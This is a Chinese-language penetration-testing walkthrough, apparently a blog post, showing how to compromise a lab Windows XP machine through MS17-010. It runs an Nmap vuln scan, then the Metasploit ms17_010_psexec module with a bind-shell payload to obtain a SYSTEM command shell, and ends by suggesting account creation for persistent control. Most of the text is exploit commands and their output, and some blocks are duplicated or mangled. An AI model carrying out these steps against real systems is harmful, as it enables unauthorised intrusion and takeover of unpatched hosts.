第一步：利用 Nmap 扫描

```
msf5 > db_nmap --script=vuln 192.168.41.143
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-24 01:25 CST
[*] Nmap: Nmap scan report for 192.168.41.143
[*] Nmap: Host is up (0.00055s latency).
[*] Nmap: All 1000 scanned ports on 192.168.41.143 are filtered
[*] Nmap: MAC Address: 00:0C:29:42:D2:0A (VMware)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 36.95 seconds
msf5 > db_nmap --script=vuln 192.168.41.143
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-24 01:28 CST
[*] Nmap: Nmap scan report for 192.168.41.143
[*] Nmap: Host is up (0.00076s latency).
[*] Nmap: All 1000 scanned ports on 192.168.41.143 are filtered
[*] Nmap: MAC Address: 00:0C:29:42:D2:0A (VMware)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 38.98 seconds
msf5 > db_nmap --script=vuln 192.168.41.142
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-24 01:30 CST
[*] Nmap: Nmap scan report for 192.168.41.142
[*] Nmap: Host is up (0.00044s latency).
[*] Nmap: Not shown: 997 closed ports
[*] Nmap: PORT    STATE SERVICE
[*] Nmap: 135/tcp open  msrpc
[*] Nmap: 139/tcp open  netbios-ssn
[*] Nmap: 445/tcp open  microsoft-ds
[*] Nmap: MAC Address: 00:0C:29:5D:58:E1 (VMware)
[*] Nmap: Host script results:
[*] Nmap: |_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
[*] Nmap: |_smb-vuln-ms10-054: false
[*] Nmap: |_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
[*] Nmap: | smb-vuln-ms17-010:
[*] Nmap: |   VULNERABLE:
[*] Nmap: |   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-0
10)
[*] Nmap: |     State: VULNERABLE
[*] Nmap: |     IDs:  CVE:CVE-2017-0143
[*] Nmap: |     Risk factor: HIGH
[*] Nmap: |       A critical remote code execution vulnerability exists in Microsoft SMBv1
[*] Nmap: |       servers (ms17-010).
[*] Nmap: |
[*] Nmap: |     Disclosure date: 2017-03-14
[*] Nmap: |     References:
[*] Nmap: |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
[*] Nmap: |
```

https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
[*] Nmap: |_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 21.53 seconds

```
[*] Nmap: 139/tcp open  netbios-ssn
[*] Nmap: 445/tcp open  microsoft-ds
[*] Nmap: MAC Address: 00:0C:29:5D:58:E1 (VMware)
[*] Nmap: Host script results:
[*] Nmap:  _samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
[*] Nmap:  _smb-vuln-ms10-054: false
[*] Nmap:  _smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
[*] Nmap:  smb-vuln-ms17-010:
[*] Nmap: |   VULNERABLE:
[*] Nmap: |   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
[*] Nmap: |     State: VULNERABLE
[*] Nmap: |     IDs:  CVE:CVE-2017-0143
[*] Nmap: |     Risk factor: HIGH
[*] Nmap: |       A critical remote code execution vulnerability exists in Microsoft SMBv1
[*] Nmap: |       servers (ms17-010).
[*] Nmap: |
[*] Nmap: |     Disclosure date: 2017-03-14
[*] Nmap: |     References:
[*] Nmap: |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
```

开放445端口

存在可用漏洞

看到扫描结果 我们可以看出来 有几个可以了利用漏洞 开放 445 端口是存在 smb 的 我们随便利用一个漏洞来进行渗透攻击

第二步：利用 Metasploit 查询对应的漏洞模块

首先我们输入命令：search ms17-010 查询有没有对应的漏洞模块

```
msf5 > search ms17-010

Matching Modules
================

#  Name                                      Disclosure Date  Rank    Check  Description
-  ----                                      ---------------  ----    -----  -----------

   auxiliary/admin/smb/ms17_010_command      2017-03-14       normal  Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution

   auxiliary/scanner/smb/smb_ms17_010                         normal  Yes    MS17-010 SMB RCE Detection
   exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

   exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14  average No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+

   exploit/windows/smb/ms17_010_psexec       2017-03-14       normal  Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
```

显示结果是有对应漏洞模块的 ms17 指的是 2017 年出现的漏洞，有对应漏洞那就好办了 下面三个我们随便选一个出来 我这里选最后一个来进一步渗透攻击

第三步：选择对应攻击模块

```
msf5 > use exploit/windows/smb/ms17_010_psexec
msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/shell_bin
payload => windows/shell_bind_tcp
msf5 exploit(windows/smb/ms17_010_psexec) > show options

Module options (exploit/windows/smb/ms17_010_psexec):

   Name                  Current Setting
          Required  Description
   ----                  ---------------
          --------  -----------
   DBGTRACE              false
          yes       Show extra debug trace info
   LEAKATTEMPTS          99
          yes       How many times to try to leak transaction
   NAMEDPIPE
          no        A named pipe that can be connected to (leave blank fo
)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wordlists/n
ipes.txt  yes       List of named pipes to check
```

由于不能截完整图 我附上代码

msf5 > use exploit/windows/smb/ms17_010_psexec

msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows
ell_bind_tcp

payload => windows ell_bind_tcp
msf5 exploit(windows/smb/ms17_010_psexec) > show options

Module options (exploit/windows/smb/ms17_010_psexec):

Name Current Setting Required Description
---- --- -------- ---
DBGTRACE false yes Show extra debug trace in
fo
LEAKATTEMPTS 99 yes How many times to try t
o leak transaction
NAMEDPIPE no A named pipe that can be co
nnected to (leave blank for auto)

NAMED_PIPES /usr

```
/metasploit-framework/data/wordlists/named_pipes.txt  yes      List of named pipes t
o check
  RHOSTS                                            yes      The target address range or Cl
DR identifier
  RPORT            445                                yes      The Target port
  SERVICE_DESCRIPTION                                 no       Service description to
 to be used on target for pretty listing
  SERVICE_DISPLAY_NAME                                no       The service display
name
  SERVICE_NAME                                        no       The service name
  SHARE            ADMIN$                             yes      The share to connect to, c
an be an admin share (ADMIN$,C$,...) or a normal read/write folder share
  SMBDomain        .                                  no       The Windows domain to use
 for authentication
  SMBPass                                             no       The password for the specified
 username
  SMBUser                                             no       The username to authenticate
as


Payload options (windows ell_bind_tcp):

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  EXITFUNC  thread          yes      Exit technique (Accepted: &apos;&apos;, seh, thread,
process, none)
  LPORT    4444             yes      The listen port
  RHOST                     no       The target address


Exploit target:

  Id  Name
  --  ----
  0   Automatic
```

不清楚仔细看图，首先我们要命令：

show options

查看需要做哪些配置 当然攻击目标服务器 ip 设置上去 配置好之后万事俱备

```
msf5 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.41.142

RHOSTS => 192.168.41.142

msf5 exploit(windows/smb/ms17_010_psexec) >
```

到这里已经全部配置好 接下就是发出进攻号令发动进攻 进攻号令：

exploit

```
msf5 exploit(windows/smb/ms17_010_psexec) > exploit

[*] 192.168.41.142:445 - Target OS: Windows 5.1
[*] 192.168.41.142:445 - Filling barrel with fish... done
[*] 192.168.41.142:445 - <---------------- | Entering Danger Zone | ----------
----->
[*] 192.168.41.142:445 -   [*] Preparing dynamite...
[*] 192.168.41.142:445 -     [*] Trying stick 1 (x86)...Boom!
[*] 192.168.41.142:445 -   [+] Successfully Leaked Transaction!
[*] 192.168.41.142:445 -   [+] Successfully caught Fish-in-a-barrel
[*] 192.168.41.142:445 - <---------------- | Leaving Danger Zone | ----------
----->
[*] 192.168.41.142:445 - Reading from CONNECTION struct at: 0x821e58b0
[*] 192.168.41.142:445 - Built a write-what-where primitive...
[+] 192.168.41.142:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.41.142:445 - Selecting native target
[*] 192.168.41.142:445 - Uploading payload... ulppviFQ.exe
[*] 192.168.41.142:445 - Created \ulppviFQ.exe...
[+] 192.168.41.142:445 - Service started successfully...
[*] 192.168.41.142:445 - Deleting \ulppviFQ.exe...
[*] Started bind TCP handler against 192.168.41.142:4444
[*] Command shell session 1 opened (          192.168.41.128:33767 ->          
192.168.41.142:4444) at 2019-08-24 01:41:00 +0800
```

看到现在已经对 445 端口进军了

```
msf5 exploit(windows/smb/ms17_010_psexec) > exploit

[*] 192.168.41.142:445 - Target OS: Windows 5.1
[*] 192.168.41.142:445 - Filling barrel with fish... done
[*] 192.168.41.142:445 - <---------------- | Entering Danger Zone | -----------
----->
[*] 192.168.41.142:445 -        [*] Preparing dynamite...
[*] 192.168.41.142:445 -                [*] Trying stick 1 (x86)...Boom!
[*] 192.168.41.142:445 -        [+] Successfully Leaked Transaction!
[*] 192.168.41.142:445 -        [+] Successfully caught Fish-in-a-barrel
[*] 192.168.41.142:445 - <---------------- | Leaving Danger Zone | ------------
---->
[*] 192.168.41.142:445 - Reading from CONNECTION struct at: 0x821e58b0
[*] 192.168.41.142:445 - Built a write-what-where primitive...
[+] 192.168.41.142:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.41.142:445 - Selecting native target
[*] 192.168.41.142:445 - Uploading payload... uIppviFQ.exe
[*] 192.168.41.142:445 - Created \uIppviFQ.exe...
[+] 192.168.41.142:445 - Service started successfully...
```

进攻命令

在后面我们可以看出来 成功入侵并且反弹一个 shell

```
C:\WINDOWS\system32>netstat /ano
netstat /ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       996
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    127.0.0.1:5152         0.0.0.0:0              LISTENING       1332
  TCP    192.168.41.142:139     0.0.0.0:0              LISTENING       4
  TCP    192.168.41.142:4444    192.168.41.128:33767   ESTABLISHED     1644
  UDP    0.0.0.0:445            *:*                                    4
  UDP    0.0.0.0:500            *:*                                    708
  UDP    0.0.0.0:4500           *:*                                    708
  UDP    192.168.41.142:137     *:*                                    4
  UDP    192.168.41.142:138     *:*                                    4
```

现在成功拿下这台服务器系统权限 看网络连接情况 已经成功链接 拿到 cmd 权限可以这这台服务器实施控制 比如我们创建系统账号提权 对这台服务器做持久控制